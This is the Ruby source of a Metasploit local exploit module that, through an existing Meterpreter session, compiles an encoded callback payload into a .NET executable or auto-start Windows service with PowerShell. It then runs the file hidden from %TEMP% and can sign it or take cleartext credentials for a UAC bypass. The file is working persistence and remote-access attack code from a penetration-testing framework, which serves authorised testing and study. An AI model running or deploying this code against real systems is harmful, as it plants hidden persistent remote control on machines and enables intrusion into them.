metasploit-framework/modules/exploits/windows/local/ps_persist.rb

190 lines
6.7 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/post/windows/services'
require 'msf/core/post/windows/powershell'
require 'msf/core/exploit/powershell/dot_net'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Windows::Services
include Msf::Post::Windows::Powershell
include Msf::Post::Windows::Powershell::DotNet
include Msf::Post::File
def initialize(info={})
super(update_info(info,
'Name' => "Powershell Payload Execution",
'Description' => %q{
This module generates a dynamic executable on the session host using .NET templates.
Code is pulled from C# templates and impregnated with a payload before being
sent to a modified PowerShell session with .NET 4 loaded. The compiler builds
the executable (standard or Windows service) in memory and produces a binary
which can be started/installed and downloaded for later use. After compilation the
PoweShell session can also sign the executable if provided a path the a .pfx formatted
certificate.
},
'License' => MSF_LICENSE,
'Author' => [
'RageLtMan <rageltman[at]sempervictus>', # Module, libs, and powershell-fu
'Matt "hostess" Andreko' # .NET harness, and requested modifications
],
'Payload' =>
{
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'EAX',
},
},
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [ [ 'Universal', {} ] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 14 2012'
))
register_options(
[
OptBool.new('SVC_GEN', [false, 'Build a Windows service, which defaults to running as localsystem', false ]),
OptString.new('SVC_NAME', [false, 'Name to use for the Windows Service', 'MsfDynSvc']),
OptString.new('SVC_DNAME', [false, 'Display Name to use for the Windows Service', 'MsfDynSvc']),
OptBool.new('START_APP', [false, 'Run EXE/Install Service', true ]),
OptString.new('OUTPUT_TARGET', [false, 'Name and path of the generated executable, default random, omit extension' ]),
], self.class)
register_advanced_options(
[
OptString.new('CERT_PATH', [false, 'Path on host to .pfx fomatted certificate for signing' ]),
OptBool.new('SVC_REMOVE', [false, 'Remove Windows service named SVC_NAME']),
OptBool.new('BypassUAC', [false, 'Enter credentials to execute envoker in .NET', false]),
OptString.new('USERNAME', [false, 'Windows username']),
OptString.new('PASSWORD', [false, 'Windows user password - cleartext']),
OptString.new('DOMAIN', [false, 'Windows domain or workstation name']),
], self.class)
end
def exploit
# Make sure we meet the requirements before running the script
if !(session.type == "meterpreter" || have_powershell?)
print_error("Incompatible Environment")
return
end
# Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either
if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM'
print_error("Cannot run as system")
return
end
# End of file marker
eof = Rex::Text.rand_text_alpha(8)
env_suffix = Rex::Text.rand_text_alpha(8)
com_opts = {}
com_opts[:net_clr] = 4.0 # Min .NET runtime to load into a PS session
com_opts[:target] = datastore['OUTPUT_TARGET'] || session.fs.file.expand_path('%TEMP%') + "\\#{ Rex::Text.rand_text_alpha(rand(8)+8) }.exe"
com_opts[:payload] = payload_script #payload.encoded
vprint_good com_opts[:payload].length.to_s
if datastore['SVC_GEN']
com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe', 'dot_net_service.cs')
com_opts[:assemblies] = ['System.ServiceProcess.dll', 'System.Configuration.Install.dll']
else
com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe','dot_net_exe.cs')
end
com_opts[:cert] = datastore['CERT_PATH']
if datastore['SVC_REMOVE']
remove_dyn_service(com_opts[:target])
return
end
vprint_good("Writing to #{com_opts[:target]}")
com_script = dot_net_compiler(com_opts)
ps_out = psh_exec(com_script)
if datastore['Powershell::Post::dry_run']
print_good com_script
print_error ps_out
return
end
# Check for result
begin
size = session.fs.file.stat(com_opts[:target].gsub('\\','\\\\')).size
vprint_good("File #{com_opts[:target].gsub('\\','\\\\')} found, #{size}kb")
rescue
print_error("File #{com_opts[:target].gsub('\\','\\\\')} not found")
return
end
# Run the harness
if datastore['START_APP']
if datastore['SVC_GEN']
service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], com_opts[:target].gsub('\\','\\\\'), startup=2, server=nil)
if service_start(datastore['SVC_NAME']).to_i == 0
vprint_good("Service Started")
end
else
session.sys.process.execute(com_opts[:target].gsub('\\','\\\\'), nil, {'Hidden' => true, 'Channelized' => true})
end
end
print_good('Finished!')
end
# This should be handled by the exploit mixin, right?
def payload_script
pay_mod = framework.payloads.create(datastore['PAYLOAD'])
payload = pay_mod.generate_simple(
"BadChars" => '',
"Format" => 'raw',
"Encoder" => 'x86/alpha_mixed',
"ForceEncode" => true,
"Options" =>
{
'LHOST' => datastore['LHOST'],
'LPORT' => datastore['LPORT'],
'EXITFUNC' => 'thread',
'BufferRegister' => 'EAX'
},
)
# To ensure compatibility out payload should be US-ASCII
return payload.encode('ASCII')
end
# Local service functionality should probably be replaced with upstream Post
def remove_dyn_service(file_path)
service_stop(datastore['SVC_NAME'])
if service_delete(datastore['SVC_NAME'])['GetLastError'] == 0
vprint_good("Service #{datastore['SVC_NAME']} Removed, deleting #{file_path.gsub('\\','\\\\')}")
session.fs.file.rm(file_path.gsub('\\','\\\\'))
else
print_error("Something went wrong, not deleting #{file_path.gsub('\\','\\\\')}")
end
return
end
def install_dyn_service(file_path)
service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], file_path.gsub('\\','\\\\'), startup=2, server=nil)
if service_start(datastore['SVC_NAME']).to_i == 0
vprint_good("Service Binary #{file_path} Started")
end
end
end